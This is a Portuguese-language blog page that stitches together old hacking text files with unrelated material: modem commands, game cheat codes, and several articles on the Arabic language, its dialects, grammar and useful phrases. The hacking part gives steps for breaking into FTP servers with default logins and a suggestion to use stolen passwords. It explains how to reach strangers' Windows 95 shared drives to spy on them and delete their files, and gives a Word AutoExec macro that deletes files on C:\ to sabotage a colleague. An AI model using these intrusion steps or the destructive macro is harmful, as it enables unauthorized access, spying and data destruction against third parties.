Pages

terça-feira, 14 de junho de 2011

COMO HACKEAR SERVIDORES DE FTP

COMO HACKEAR SERVIDORES DE FTP

ara Hackear um Servidor FTP, primeiro vc deve saber o endereco do Host ou
seu IP, para isto use o IPSCAN, digitando o IP Principal do Host:

Lista de Alguns FTP's

>>> ftp.mandic.com.br
>>> ftp.bestway.com.br
>>> ftp.netscape.com
>>> ftp.angelfire.com
>>> ftp.internetclub.com.br (servidor Hackeado por SeQ MaSsIvE,
WARBLADE(r), Speed, kkkkk e CRAMBLE)....


Let's HaCk !!!

Existem vários Programas de FTP'S, mas se não quiser saber de FTP porra
nenhuma use aquele do DOS !!!

Va ao Prompt e digite FTP, ao aparece o prompt ftp,
digite OPEN, ira abrir um outro Prompt (to), digite o nome do host ou seu
IP, tipo (to) ftp.mandic.com.br.

Ao conectar ele pedira a senha e o Password, tente usar os passwords UNIX,
(os famosos defaults) se nao der vc deve entrar INVISÍVEL !!!! Mas como
entrar invisível ?!?!?!
Isso e' fácil... no login pressione ENTER, no password pressione novamente...
Ira aparecer o prompt ftp novamente...., ai e' so' digitar:

quote user ftp
quote cwd ~root
quote pass ftp

Pronto, você ja esta lá dentro!!!

Mas tem um porem..., se escrever a mensagem : USER RESTRICTION APLLY, voce
não esta Hackeando.., pois esta aplicada a proteção..., para isto tente com
outro user tipo quote cwd ~sys e os outros da lista UNIX....

ATENÇÃO !!!!

Nao tente Hackear usando o user normal de FTP'S, que e login : anonymous e
password: seu E-Mail, pois vai ser aplicado a proteção....

MEU DEUS, EU ENTREI, E AGORA O QUE FAÇO??????

Ao entrar vc vai estar no Diretório do login, tipo \home\root\,
Dai, para ver a lista de usuarios, voce volta um dir vá para o dir \home\
e cada dir e um usuario,... não tentem pegar as senhas , pois são
Cryptografadas...
Pois a maioria dos users usa a mesma senha login....
Ok... se você não sabe os comandos, ai vai a dica...., se você estiver no MS-DOS,
digite ? e tecle ENTER em qualquer lugar, pois ira aparecer os comandos...
e ai e s¢ Hackear !!!

OBS: Não fique mais que 5 Min em um servidor, pois ele cacara seu IP, e seu
login, e vai ser CADEIA !!!
Não responsabilizamos por atos cometidos nos Hosts... o problema e de quem
HaCkEiA, e não nosso, pois tome muito cuidado, e NUNCA, mas NUNCA apague
NADA !!!!!!!!!

Para sua maior seguranca, utilize uma senha roubada.

INVASAO POR IP

Alegria de uns, tristeza de outros... na verdade, aqueles que utilizam a
rede Dial-Up do Win95 para sua coneccao com a internet podem estar correndo
serios riscos, a nao ser, e' claro, que assim conectam-se propositalmente,
com inten‡oes "diversas".

Utilizar-se de uma coneccao PPP do Win95 num provedor de acesso, significa
estar disponibilizando seu computador a todos os usuarios da Net. Mesmo sem
o compartilhamento de arquivos, existem diversas ferramentas que permitem a
outra pessoa conectar-se ao seu computador caso voce esteja utilizando esse
tipo de coneccao.

Conecte-se a Internet utilizando a rede Dial-Up do Win95. Se o seu provedor
nao disponibilizar uma conec‡Æo do tipo PPP, estas dicas nao funcionarao.

Verifique antes, se voce possui os drivers clientes para redes Microsoft.
Caso nao estejam instalados, instale-os atraves do Painel de Controle, no
icone Redes.

Verifique tambem se o compartilhamento de Arquivos e Impressoras est
instalado.

Se estiver, voce estara sujeito a que outra pessoa conecte-se ao seu
computador simplesmente sabendo seu IP. Se bem que, para aqueles que ja
sabem, existem mil maneiras diferentes de se "burlar" a fraquinha seguran‡a
do Win95. Para voce poder encontrar outros computadores compartilhados, vocˆ
deve configurar WINS e LMHOSTS. O WINS e' utilizado para localizar os
computadores com IP fixo. O LMHOSTS, e' acionado automaticamente na procura
de computadores que possuem IP dinamicos.
ATEN€AO : TODOS ESSES ARQUIVOS SE ENCONTRAM NO C:\WINDOWS

Configurar essas opcoes e' simples. Va ao Painel de Controle e abra Rede.
Verifique as propriedades do protocolo TCP/IP. Ali voce encontrara a opcao
para ativar a resolu‡Æo WINS. No caso de vocˆ nao conhecer nenhum servidor
WINS, utilize 204.118.34.6 como primario e 204.118.34.11 como secundario.
Esses servidores sao dos USA, e gratuitos. Caso queira outros enderecos,
utilize um dos mecanismos de busca na Internet.

Para configurar o LMHOSTS, voce precisa criar um arquivo texto simples,
utilizando-se ate mesmo o Bloco de Notas do Windows. O arquivo criado deve
chamar-se LMHOSTS. E' nesse arquivo que ficarao os endere‡os de IP e os nomes
dos computadores que voce tera acesso. Para localizar um determinado
computador, voce digita o seu numero de IP e a seguir seu NetBios, na mesma
linha, separados por um espa‡o.

Se voce executar o programa NBSTSTAT, seguido da op‡Æo -N, voce obtera essa
lista, com o nome e o IP de seu computador sempre sendo o primeiro da lista,
seguido das outras maquinas disponiveis, tudo numa janela DOS.

Atrav‚s do Explorer voce podera ver os computadores disponiveis na rede, dos
quais voce ainda podera utilizar os discos mapeando-os, o que os tornara
unidades de seu computador.


Se voce for muito estupido e ainda nao entendeu, deixa eu explicar em outra
linguagem:

Utilizando essas configuracoes acima, voce pode, atraves do seu Windows
Explorer, acessar computadores de outras pessoas que nao tem nada a ver
com a historia, o cara pode estar do outro lado do mundo, la na Polonia ou
nos EUA, por exemplo, ele esta la quietinho, pesquisando paginas ou no
bate-papo, e voce pode mexer e fucar no computador dele como se ele fosse
uma unidade de disco! Isso mesmo! Faz de conta que o computador do cara seja
uma unidade de disquete, e voce pode mexer, mover, espionar, copiar, e ate
apagar arquivos do micro dele!

OBS: tome cuidado para nao ser preso!

MACROS DO WORD

Ainda hoje existe muita gente que so e capaz de abrir o WORD, editar,
negritar, sublinhar e mandar para impressora, muitos, milhares so sabem
mexer no basico mesmo. Eles nem imaginam o que tem por tras deste riquissimo
processador de texto.

Esta materia tem como objetivo fazer desde pequenas ate grandes sacanagens
com usuarios pentelhos.

Software/Versao Abrangida: Microsoft Word, versoes 6 (win3.11) e 7.0 (win95)
O Word possui um arquivo chamado NORMAL.DOT, onde estao todas as configuracoes
padrao do Word. Se por algum motivo este arquivo for deletado, o Word o cria
automaticamente quando for inicializado.

Niveis de Sacanagem:

Nivel 1..... Apenas uma brincadeira
Nivel 2..... Apenas uma brincadeira de mau gosto
Nivel 3..... Ja nao e' mais uma brincadeira.

Primeiro voce precisa criar uma macro... siga os passos:

Entre no Word, feche a janela de documento, nao deixe nenhum documento aberto
(ativo), clique em Arquivo(File) depois Macro, coloque no nome da macro
"AutoExec" (obrigatorio) esta macro e' inicializada toda vez que o Word for
iniciado, depois clique em "Criar", delete as duas linhas que tiver la
(Sub MAIN e End Sub) e cole a rotina que tem logo mais abaixo.

PS: Existem outras formas e meios de criar uma macro,mas esta e' mais simples

Nivel 1

O nivel 1 serve para voce se mostrar, falando que entende do Word melhor do
que ninguem.
Cada vez que o usuario inicia o Word recebera uma mensagem... de alerta ou
qualquer outro coisa que sair da sua mente. Veja abaixo:

Sub MAIN
MsgBox "Voce e um pentelho! Eu nao irei prosseguir com o sistema", "Microsoft
Word", 5
MsgBox "Usuario Pirata Detectado", "FATAL ERROR", 16
MsgBox "JAMES BOND 007 ", "007 na estrada Digital", 64
End Sub

Nota: faca tudo isso em uma so linha, e' que aqui nao deu pra colocar porque
faltou espaco, ok?

Nivel 2

E' para deixar o usuario irritadissimo. No corpo da macro cole este texto
abaixo:

Sub MAIN
ArquivoNovoPadrao
Inserir "James"
ArquivoNovoPadrao
Inserir "Bond"
ArquivoNovoPadrao
Inserir "007"
ArquivoNovoPadrao
Inserir "James Bond 007 Na Estrada digital "
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "James Bond 007 Na Estrada digital "
End Sub


Nivel 3

Bom este nivel e pura sacanagem, com ele um simples clicar do mouse, e tudo
desaparece! Isso mesmo, "DEL *.*" ou apenas os documentos, voce e quem sabe.

Sub MAIN
Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub

Lembre-se de que estes macros sao gravados no arquivo default do word, ou
seja, no NORMAL.DOT. De este arquivo for deletado, o Word automaticamente
ira criar outro na inicializacao, entao se voce for fazer estas sacanagens
acima, proteja este arquivo, com o comando 'attrib +r'.
Detalhes: Existe uma forma de iniciar o Word, sem que inicialize a macro
'AutoExec' mas nao irei falar, descubra voce mesmo. A macro do word e uma
ferramenta riquissima, procure fucar. Voce pode fazer estas no seu proprio
computador (se cuide!), salvando sempre no arq. "normal.dot" depois copie
apenas este arquivo para aquele seu colega/amigo pentelho e saia de perto,
para nao explodir em voce.

LISTÇO !!!!
para se usar os comandos do MODEM!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Comando: Resposta:

+++ATQ0 Mostra os resultados do comando.
+++ATQ1 NÆo mostra os resultados dos comandos.
+++ATN0 Desliga o modo de autodetecta‡Æo!
+++ATN1 Liga o modo de autodetecta‡Æo.
+++ATM0 Desliga o speaker do modem!
+++ATM2 Liga o speaker do modem!
+++ATL0 Volume baixo no speaker do modem.
+++ATL2 Volume m‚dio no speaker do modem.
+++ATL3 Volume alto no speaker do modem.
+++ATI(0 AT
O 7) Mostra descri‡äes sobre o modem.
+++ATI5 Mostra os n§ armazenados na mem¢ria NVRAM.
+++ATH0 Hang-up
+++ATH1 Tipo o hang-up
+++ATF(0 AO 10) Seleciona uma versÆo para o modem (default=0)
+++ATE0 Desliga o echo, ECHO OFF
+++ATE1 Liga o echo, ECHO ON
+++ATDP Disca no modo pulse
+++ATDS=n Disca o n£mero na mem¢ria NVRAM (n=0-3).
AT&Z(0-3)=(N§) Armazena os n§'s na mem¢ria NVRAM.
ATS3D Serve para conectar atraves do telefone

RISE OF THE TRIAD

Em qualquer momento do jogo, digite estes passwords para se dar bem:

TOOSAD=> god mode

CHOJIN=> you are un-killable

GOTO=> level warp

SIXTOYS=> various useful items

FLYBOY=> enables you to fly

BADTRIP=> for a psychedelic experience ( try it!! )

BOING=> elasto mode

SPEED=> auto run mode, for the lazy

PANIC=> restore yourself to normal

DIMON=> light diminishing on

DIMOFF=> light diminishing off

LONDOM=> fog on

NODNOL=> fog off

GOGATES=> quit!

GOARCH=> teleport strainght to level end

GOTA386=> use 386 mode

LUNGDUNG=>gas mask

86ME=> use 8086 mode ( oh dear !! )

JOHNWOO=> dual pistols

PLUGEM=> MP40 sub-machine gun

VANILLA=> bazooka weapon

HOTTIMES=>heat seeker launcher

FIREBOMB=>fire-bomb weapon

BONES=> flame wall weapon

SEEYA=> hand of god ( try it !! )



OBS: ANTES de digitar os càdigos, digite DIPSTICK.

Dialétos do árabe

Dialétos do árabe

A palavra "árabe" se refere também a vários dialétos/línguas derivados do árabe clássico que se fala no norte da África e no Oriente Médio. Com frequencia são tão diferentes que não se entendem entre eles mesmos. Muitos destes dialétos não se escrevem, ainda que comservam parte de sua literatura (sobre tudo canções poesia), especialmente em Líbano e em Egipto.

Oárabe coloquial é uma recopilação das línguas e dialétos do mundo árabe que como havámos dito anteriormente é radicalmente diferente da linguagem literária. A divisãodialetal mais marcada se situa entre os dialétos do Magreb e os do Oriente Médio, seguida dos dialétos sedentarios e de os dialétos beduinos que são claramente mais comservadores. O maltés, ainda que descende do árabe, está considerado como uma língua distinta e, por tanto, os falantes deste dialéto não poden entender se com os demais. Enquanto que os falantes de dialétos do Oriente Médio generalmente se entendem entre eles, costumam ter problemas para entender a os magrebíes (ainda que nos filmes pareça o contrário)

Um fator de diferenciação dos dialétos é a influência que receberam das línguas que se falavam previamente na região, que não só aportam um número consideravel de neologismos, como também algumas vezes influem na pronunciação ou na colocação das palavras; não sendo o bastante, o fator mais significativo para a maioria dos dialétos, como entre as línguas romances, é a mudança de significado das formas clássicas. Assim que "aku" em iraquí, "fiih" em levantino e "kayen" em norafricano queren dizer "hay" e a pesar de parecer completamente diferentes todas derivam do árabe ("yakuun", "fiihi" e "kaa'in" respectivamente).

Os grupos mais importantes são:

Egipcio arábigo (Egipto) considerado o mais usado e entendido; o segundo dialéto"
Magreb arábigo (Tunez, Algeria, Marruecos, oeste do Líbano)
Hassaniiya (em Mauritania)
Andalusi arábigo (atualmente extinguido mas muito importante na literatura histórica)
Maltés
Sudanés arábigo (com dialéto continuo em Chad)
Levantino arábigo (Siria, Líbano, Palestino e oeste de Jordania)
Iraquí arábigo
Golfo arábigo (Costa do golfo desde Kuwait até Oman e uma minoria no outro lado)
Hijazi arábigo
Najdi arábigo
Yemeni arábigo

Dados sobre a língua árabe

Dados sobre a língua árabe

O árabe semítico está muito relacionado com o hebreo e o arameo, línguas faladas pelo mundo árabe mas raramente conhecidas fora dele.

Durante 1500 años foi uma língua literária e atualmente é a língua litúrgica do Islam.

O término "Árabe estándar moderno" é frequentemente utilizado para referir se a língua arábe meia em contraposição a língua clássica da literatura árabe. Os árabes não fazem esta distinção e reconhecem as duas línguas como idénticas.

As expresões "Árabe"e"Árabe clássico" se referen a língua árabe pura que é, de acordo com seus falantes, tanto a língua do dia a dia do norte da África e do Oriente Médio (desde Marrocos até Irak) como a refletida no Corán.

O alfabeto árabe deriva da escritura do arameo cuja variedade, é objeto de estudo dos espertos, embora guarde certa simililaridade com a escritura do grego e sua relação com o cirílico e o copto.

Se fala em: Algeria, Bahrein, Egipto,la linea de Gaza, Irak, Jordania, Kuwait, Líbano,Libia, Mauritania, Marruecos, Omán, Qatar, Arabia Saudí, Sudán, Siria, Tunez, Emiratos Árabes Unidos, a orilla este de Israel, Yemen (em sua maioría), e em muitos outros países como língua minoritária.

Zona: mundo árabe.

Número de falantes: 225 milhões (Falantes nativos de todos os dialétos)

Estatísticas:
- Egipto- 65.410.000
- Algeria - 32.129.324
- Marrocos - 18.858.000
- Irak - 18.290.150
- Sudán - 15.000.000
- Yemen - 14.681.000
- Arabia Saudí - 26.417.599
- Siria - 11.470.000
- Tunez - 9.000.500
- Jordania - 5.650.000
- Libia - 4.200.000
- Líbano - 3.900.000
- Palestina - 3.000.000
- Mauritania - 1.800.000
- Irán - 1.400.000
- França - 1.365.700
- Omán - 1.241.000
- Argentina - 1.000.000
- Israel - 1.000.000
- Libia - 1.000.000
- Turkía - 1.000.000
- Emiratos Árabes Unidos - 925.000
- Kuwait - 805.000
- Chad - 754.590
- Bahrein - 677.886
- Niger - 277.400
- Holanda - 220.000
- Eritrea - 218.000
- Tanzania - 195.000
- Estados Unidos da América - 193.520
- Bélgica- 124.700
- Mali - 106.100
- Qatar - 103.000
- Nigeria - 100.000
- Alemanha - 96.200
- Camerún - 63.600
- África central - 63.000
- Kenya - 35.000
- Canadá - 28.550
- Afganistão - 10.000
- Italia - 5.000
- Senegal - 5.000
- Reino Unido - 4.000
- República Dominicana- 3.000
- Trinidad e Tobago - 2.600
- Jamaica - 2.000
- Tajikistão - 2.000
- Chipre - 1.300
- Guiana Francesa - 800
- India - 500

- Total - 242.806.429

Clasificação: Afroasiática | Semitica

Gramática árabe

Gramática árabe

A expansão do Islam no século VIII fez com que muita gente aprendesse o árabe como língua franca. Esta é a razão pela que os primeiros tratados de gramática árabe fossem escritos pelos falantes não nativos.

Tradicionalmente, a gramática está dividida em quatro ramos:
al-lugah (léxico) referida a recopilação e explicação de vocabulário.
at-ta-rif (morfología)que determina a formação das palavras.
an-na-w (sintaxis) principalmente referida a flexão (i-rab)que se perdeu nos últimos dialétos.
al-istiqaq (etimología) estuda a origem das palavras.

Substantivo:

O substantivo em árabe pode ter 3 estados de definição: definido, indefinido ou o chamado estado constructo. o definido está marcado pelo prefixo al-. o indefinido pelo sufixo -n (nunação). o estado contructo não está marcado mas sempre vai situado no primeiro término da contrucção genitiva.

Pronomes pessoais árabes:

Singular:
Eu - anaa, por exemplo: anaa katabtu - eo écribí.
tu (masculino) - anta, por exemplo: anta katabta - tu escrivestes.
tu (femenino) - anti, por exemplo: anti katabti - tu escrevestes.
ele (masculino) - huwa, por exemplo: huwa kataba - ele escreveu.
ela (femenino) - hiya, por exemplo: hiya katabat - ela escreveu.

Plural:
nós - naHnu, por exemplo: naHnu katabnaa - nós escrevemos.
vós (pl. masculino) - antum, por exemplo: antum katabtum - vós escreveis.
eles (masc) - hum, por exemplo: hum katabuu - eles escreveram.
elas (fem) - hunna, por exemplo: hunna katabna - elas escreveram.

Duas classes de orações em árabe:

1. Orações verbais: começam pelo verbo e lhes segue o sujeito. o verbo sempre vai em singular ainda que o sujeito seja plural. Exemplos das orações verbais:
dhahaba abiy ila Cairo - tradução literal - Meu pai foi ao Cairo. Mas, o significado real é: meu pai se foi ao Cairo.
raja'a abiy min Cairo - tradução literal - Voltou meu pai do Cairo. Mas, o significado real é: meu pai voltou do Cairo.
la'iba al-waladaani - as duas crianças jogaram.
la'iba al-awlaadu - as crianças jogaram.
Como você pode ver, o verbo em árabe vai sempre em singur ainda que o sujeito seja plural.

2. Orações nominais: começam pelo nome ou sujeito e lhes seguem os demais complementos. o verbo deve concordar com o sujeito em gênero e número. Exemplos das orações nominais:
abiy raja'a min Cairo - Meu pai voltou do Cairo.
akhiy kataba - Meu irmão escreveu.
al-waladu la'iba - a criança jogou.
al-waladaani la'ibaa - as criançasjogaram.
al-awlaadu la'iboo - as crianças jogaram (crianças é plural = "eles" o verbo que necessitamos é o que concorde com "eles":"la'iboo").
Como você pode ver, o verbo concorda com o sujeito em número.
anaa wa akhiy wa abiy dhahabnaa ila Cairo - eu, meu irmão e meu pai fomos ao Cairo. nesta oração "eu, meu irmão e meu pai" equivale a "nós" o verbo que necessitamos é o que concorda com "nós": "dhahabnaa".

Género:

Oárabe tem dois gêneros que concordan nas sequencias nominais e as verbais.A concordância nos numerais é algo peculiar. Geralmente os gêneros se denominam masculino ou femenino, mas, a realidade é mais complexa posto que o femenino também se usa para expressar os plurais de seres animados.

O marcador do gênero femenino é o sufixo -t-, mas alguns nomes sem este sufixo também podem ser femeninos como por exemplo: uma: mãe, ou, pai: terra. no árabe clássico ou marcador de femenino "-t" não se pronunciava antes da pausa. Se escreve com uma letra especial (ta marbuta) que indica que o fonema t deve ser pronunciado sempre que não lhe siga uma pausa.

Tempos verbais:

Existem dois tempos principais em árabe. 1.Tempo perfeito, 2.Tempo imperfeito ou tempo presente. A ação é completada no tempo perfeito. Também poderiamos denominar este tempo como passado porque a ação é completada antes do presente pelo que pertence ao passado. Por exemplo, alguém pode dizer: "comi"; a ação de comer terminou no passado. este passado pode ser fazem dois minutos ou fazem duas décadas. Pelo contrário, em outro tempo a ação continua. Por exemplo: bates na porta, entras e ves que alguém está comendo, a pessoa te diz: "estou comendo" e a ação continua, ele segue comendo enquanto fala contigo. é o presente em Português. Em árabe sería tempo imperfeito. Olhe na tabela de cima e localize o pronome "eu" na coluna da esquerda e dirige a vista até a coluna da direita de imperfeitos. Você vai ver o verbo "akulu" que quer dizer "estou comendo" ou "como". Evos verbos futuros?vBem, em árabe não existe uma conjugação como em portugues para os verbos no futuro. Simplesmente se forma acrescentando o prefixo "sa" na forma imperfeita do verbo. Para clarearmos um pouquinho melhor vamos nos fixar na tabela de cima mais uma vez e buscamos o tempo imperfeito do verbo "akala", é "ya'kulu", se lhe acrescentamos o prefixo de futuro "sa" a "ya'kulu" obteremos "saya'kulu" que quer dizer "Comerá".

Historia da língua árabe

Historia da língua árabe

O árabe estándar moderno pertence a familia das líguas semanticas. Esta familia tem milhões de anos de história e é uma das familias de línguas com maior documentação conservada. Ainda que os expertos ainda estejam discutindo suas origens, seu nascimento na cuenca mediterránea e mais concretamente na cuenca do Tigris e do Eúfrates e nas zonas litoraneas do levante, não levanta nenhuma dúvida.

A familia de línguas semanticas descende da proto-semantica, uma língua antiguíssima que não tem documentos escritos. Esta relação situa a língua árabe no grupo de línguas afro-asiáticas. Concretamente é parte de um subgrupo semantico de línguas afro-asiáticas. E sendo mais longe na relação entre o árabe e outras línguas semanticas, o árabe moderno se considera como parte da rama secundária do árabe cananeo que é o grupo central de línguas semanticas do oeste. Assim que , podemos dizer que mesmo que o árabe não seja a língua mais antigua da familia das semanticas, suss raízes estam claramente relacionadas com os predecessores destas.

Ademais do árabe, dentro da familia de línguas semanticas encontramos, o hebreo, arameo, maltés, etíope, tigrinya, tigré, gurage, geez, acadia, fenicio, púnica, ugarítico, nabateo, amorita e moabita . Ainda que a maioria destas se consideram línguas mortas, obsoletas ou se usam únicamente com fins religiosos, o árabe é uma língua que cresce. A razão deste aumento está diretamente conectada com o crescimento do Islam e mais concretamente com seu livro santo, ou Corán.

Existem três classes de arábe. Árabe clássico ou Qur’anical, árabe estándar moderno ou formal, e árabe coloquial ou falado. O árabe clássico é a forma que se utiliza no Corán; não se usa em conversação ou escritura não religiosa. e como tal, o árabe clássico se estuda exclusivamente para ler e recitar os textos religiosos do Islám.

Para poder entender a relação entre o árabe estándar moderno e o árabe falado é importante entender o conceito de diglossia. Charles Ferguson, o criador do término, define diglossia (literalmente "duas línguas") como a situação que se cria quando além dos dialétos primários de uma língua existe outra forma altamente codificada que serve para entender grande quantidade de literatura muito respeitada pelos falantes da língua. Além do árabe. podemos encontrar exemplos de diglossia na coexistencia do latim escrito e as línguas romances faladas como o francês, o italiano ou o espanhol. Enquanto que o árabe estándar moderno é a forma definitiva de escritura em árabe, existem multitudes de dialétos arábicos. o árabe estándar moderno constitue uma forma de línguagem universal que pode ser entendido por todos e normalmente, se usa em transmisões radiofônicas, noticiarios, filmes, esportes, poesía e conversações entre falantes de diferentes dialétos do árabe.

Os dialétos do árabe coloquial são geralmente sómente línguas faladas. Os árabes usam a língua coloquial em todas as suas interações diárias, mas se se encontram em uma situação que exige maior formalidade usarão o árabe estándar moderno. Nas partes do mundo onde se fala árabe prevalece a seguinte situação: existe uma língua coloquial, a que se fala normalmente e a que os falantes aprendem como sua língua materna, e o árabe estándar moderno baseado no clássico ou Qur’anical. O árabe estándar é praticamente igual em todo o mundo árabe, enquanto que existem notaveis diferenças entre os dialétos coloquiais. De fato algumas destas diferenças são tão amplas que os falantes destes dialétos são incapazes de entender se. Por exemplo, meu companhiero de apartamento que é palestino me disse mil vezes que é incapaz de entender o dialéto coloquial do árabe marroquí.

O árabe moderno, tanto o estándar como o coloquial, não é estático. Os coloquialismos experimentaram e seguiram experimentando grandes mudanças. Infelizmente, até faz muito pouco não se estudou estas mudanças pelo que é muito difícil documentar as mudanças que se experimentou. É mais fácil, porém, se tem que documentar as mudanças em árabe estándar moderno.

Um progresso do árabe estándar moderno é a tendência a modernização. A modernização implica na criação de novos términos para conceitos que antes não existiam. Como quase todos os falantes de todo o mundo, os falantes de árabe são sensiveis al emprestimo de Palavras. De fat, é provavel que sejam mais sensiveis a mudança de língua, porque a maioria dos árabes reconhecem o árabe como a língua de seu Deus. Este conceito faz com que a mudança lingüística seja mais difícil de aceitar. E como resultado, se esétabeleceu academias normativas por todo o mundo árabe, como no Cairo, Damasco, Bagdag e Ammán.

Enquanto os primeiros documentos escritos em árabe datam de principios do século IV a.C., foi seu uso a principios do século VII como a língua do Corán, o que lhe levou a ser a língua maioritária que é hoje. Ao igual que o Islam se extendeu por todo o mundo, a língua eligida também foi feita. Junto com o aumento no Islam, o árabe se convirteu na língua oficial do governo e da religião. Nos 100 anos siguintes a introdução do Corán, ou árabe se convirteu na língua oficial de um império mundial cujos limites ian desde o rio Oxus na Asía Central até o Océano Atlántico e também fazia parte do norte da península ibérica da Europa. O árabe como algo inerente ao Islam seguiu extendendo se por todo o mundo ao mesmo tempo em que a religião.

Ofertas de trabalho

Ofertas de trabalho

Buscador de trabalhos para profissionais do idioma árabe

Encontre trabalhos no que é necessário saber árabe. Envie seu curriculum vitae e você receberá gratuitamente conselhos para melhorar sua carreira profissional, redactar um bom curriculum, etc.

Powered by
Job search for language professionals worldwide
Job search for language professionals worldwide
Recruiter
Post your job Now!

It\'s free!
Job seeker
:: Post resume, Free!
:: Resume Writing
:: Resume distribution



Job Search Engine

Category
Language
Country

Literatura árabe

Literatura árabe

A estrutura da língua árabe combina perfeitamente a harmonia das palavras com rimas e ritmos elaborados. A literatura mais recente conhecida aparece no norte da Arabia até o ano 500 a. C., era poesía que se recitava no alto, se memorizava e passava de geração em geração. Começou a ser recolhida até o final do século VII. Os poemas mais celebrados do periodo preislâmico eram conhecidos como os mu'allaqat ("os pendurados"), segundo dizem porque era considerados suficientemente destacados para ser pendurados nas paredes da ka'ba em Makkah.

Prosa:

O nascimento da prosa arábica como forma literaria se atribui a classe secretarial persa que serviu baixo o mando do califa Abbasid em Bagdag (750-1256). Ibn al-Muqaffa' (falecido em 757) se converteu ao Islam e traduziu trabalhos do persa clássico ao árabe. Se fez famoso por ser o autor de Kalila e Dimna, uma serie de fábulas didáticas nas que dois chacais ofereciam conselhos morais e praticos.

A origem da novela arábica moderna pode atribuir se a um largo processo de renascimento e assimilação, chamado em árabe la Nahada ou Renaissance. As características deste periodo são duas tendências diferentes. O movimento Neoclásico que buscava redescobrir as tradições literárias do passado e que foi influido pela literatura tradicional, como por exemplo a Maqama ou as mil e uma noites. E o movimento Modernista que começou a traduzir trabalhos ocidentais, principalmente novelas, ao árabe.

Autores de Siria, Líbano e Egipto criaram trabalhos muito originais imitando ao clássico maqama. O mais proeminente deles foi al-Mawilhi, cujo livro, The Hadith of Issa ibn Hisham, criticava a sociedade egipcia do periodo de Muhammad Ali. Este trabalho constitui o primeiro passo no desenvolvimento da novela árabe moderna. Esta tendência foi fromentada por Georgy Zeidan, um escritor libanês cristiano que emigrou com sua familia ao Egito seguindo as revoltas de Damasco de 1860. A principios do século XX, Zidan publicou suas novelas históricas por entregas no jornal egipcio al-Halal. Estas novelas eram muito populares, em comparação com os trabalhos de al-Mawilhi, por sua clareza de linguagem, sua estrutura simplse e a vigorosa imaginação do autor. Outros dois autores importantes deste periodo foram Khalil Gibran e Mihail Naima, ambos incorporaram meditações filosóficas em seus trabalhos.

Porém, os críticos litararios não consideram o trabalho dos quatro autores mencionados, novelas reais, e sim que consideram que são indicações da forma que deve tomar a novela moderna. Muitos destes críticos afirmam que Zind, uma novela de Muhammad Hasnin Heikhal, é a primeira novela em árabe, enquanto que outros apontam que é Adraa Denshawi de Muhammad Taher Haki.

Poesía:

A métrica que se usava a codificou al-Khalil bin Ahmad no século VIII e mudou muito pouco desde então. A métrica (wazn) se baseia em longitude das sílabas, mais que no sotaque. Uma sílaba curta é uma consoannte seguida de uma vogal curta. Uma sílaba longa é uma consoannte mais uma vogal curta mais outra consoante ou uma vogal longa. A nunação ao final da palavra também faz a sílaba longa. Na poesía arábica cada verso (bayt; abyat) está dividido em duas metades (shatr; shatrayn).

A rima (qalifa) está determinada pela última consoante da palavra. Nas palavras que rimam a nunação se omite porque algumas vezes é a vogal final. Quando a vogal final é fatha ("a" curta), tem que usar se cada vez que tenha rima, mesmo assim kasra ("i" corta) e damma ("u" curta) podem intercambiar se. Se uma vogal longa precede a última sílaba da palavra que rima, também formará parte da rima. De maneira semelhante, e o ("i" longo) e waw ("u" longa) são também intercambiaveis e não é alif (que se usa como "a" longa). Dado que as vogais curtas se consideram longas quando estam ao final do verso, as vogais curtas nesta posição rimarão com seus correspondentes longos; é a pronunciação e não a escrita o que conta.

O autor árabe mais destacável do século XX é Naguib Mahfouz, um prolífico novelista egipcio, dramaturgo e guionista que ganhou o premio nobel de literatura en 1988. Outros escritores importantes são Taha Hussein, Tawfiq al-Hakim e M. Hussein Heikal todos os do Egito que foram durante muito tempo o centro intelectual do mundo árabe.

Vários autores modernos surgiram no Magreb (norte da África) mas a maioria deles escrivem em francês mais que em árabe.

Frases úteis em árabe

Frases úteis em árabe

Nas ruas

Por favor: min fadlak (m) iki (f)
Obrigado: shukran
De nada: afwan, ahlan wa sahlan
Desculpa: assif
Você fala inglês?: tatakalam Inglesi?
Não entendo: anna mush fahim
O que é isso?: shu hatha?

Me apresentando

Como você está?: kheif halak (m) iki (f)
Muito bem: tamam, bikhair
Me llamo...: ismee
Como você se chama?: ma ismiki (f)

De compras

Quanto custa isto?: bikam hatha? O que você quer? - (m): Matha tureed?, (f): Matha tureedeen?
Qual é o desconto?: kam il khasem?
Quero comprar...: Anna ureed ishtaraiti
É muito caro: ghalia katheer
É muito barato: hatha rakhees jedan

Viagens e direções

Onde você está...?: wain
O banco: IL masrif
O restaurante: IL mataam
O telefone: IL hatif
O aeroporto: IL matar
Correio: maktab IL bareed
Banheiro: IL hamam
O hospital: IL mustashfa
A policia: dar al shurta
A policia de tráfico: IL murur
Nossa!!!...: rouh
A esquerda: ala al yassar
A direita: ALA al yameen
Sigua sempre reto: alatool
A rua: al shar'e

Recursos para o árabe

Recursos para o árabe

Ofrecemos a você uma lista de recursos relacionados com o árabe que nos facilitam outras companias. Nós não somos provedores destes recursos só agimos como intermediarios. Clique no link e você será redirecionado a outra página web onde você poderá completar sua venda. Trabalhamos com companias de valiósa reputação que nos ofrecem os melhores recursos de aprendizagem de línguas do mercado.

Dicionàrios

Este oferece alguns dos melhores tradutores electrônicos, microcomputadosres lingüísticos e software de tradução para computadores de bolso e PDAs para o idioma árabe. É a melhor opção para cubrir as necessidades de comunicação de pessoas que viajam ao exterior. Alguns dos produtos traduzem vários pares de idiomas diferentes. Outros têm um sistema de reconhecimento de voz que permite dizer uma frase em um idioma e traduzir esta para a língua de destino. Mais tradutores de árabe>

Outros recursos

- Livros de frases

- Audio livros

- Livros de literatura

- Dicionários

- Jogos

- Videos e Dvds

- Música

- Software

- Todos os recursos para o árabe

Escolas de árabe

Escolas de árabe

Centro de árabe, Cairo
